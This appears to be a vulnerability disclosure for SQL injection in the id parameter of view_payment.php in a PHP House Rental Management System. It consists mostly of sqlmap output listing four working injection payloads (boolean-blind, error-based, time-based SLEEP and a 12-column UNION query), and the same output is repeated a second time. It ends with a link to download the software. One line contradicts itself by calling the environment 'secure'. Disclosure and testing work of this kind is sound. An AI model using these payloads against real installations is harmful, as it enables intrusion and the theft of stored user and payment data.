

SQL injection vulnerability exists in id parameter of view_payment.php file of House Rental Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
sqlmap identified the following injection point(s) with a total of 61 HTTP(s) requests:
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: id=1 AND 8765=(SELECT (CASE WHEN (8765=8765) THEN 8765 ELSE (SELECT 4736 UNION SELECT 3233) END))-- -
Type: error-based
Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
Payload: id=(SELECT 7508 FROM(SELECT COUNT(*),CONCAT(0x71626a6a71,(SELECT (ELT(7508=7508,1))),0x7178706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 6097 FROM (SELECT(SLEEP(5)))EAQV)
Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71626a6a71,0x7079435944534e61487553505a5346484f655763687747544d6a7575494e7a625251735a63704357,0x7178706b71),NULL,NULL-- -
```

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)

Payload: id=1 AND 8765=(SELECT (CASE WHEN (8765=8765) THEN 8765 ELSE (SELECT 4736 UNION SELECT 3233) END))-- -

Type: error-based

Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)

Payload: id=(SELECT 7508 FROM(SELECT COUNT(*),CONCAT(0x71626a6a71,(SELECT (ELT(7508=7508,1))),0x7178706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: id=1 AND (SELECT 6097 FROM (SELECT(SLEEP(5)))EAQV)

Type: UNION query

Title: Generic UNION query (NULL) - 12 columns

Payload: id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71626a6a71,0x7079435944534e61487553505a5346484f655763687747544d6a7575494e7a625251735a63704357,0x7178706b71),NULL,NULL-- -

Source Download:

<https://www.campcodes.com/projects/php/house-rental-management-system/>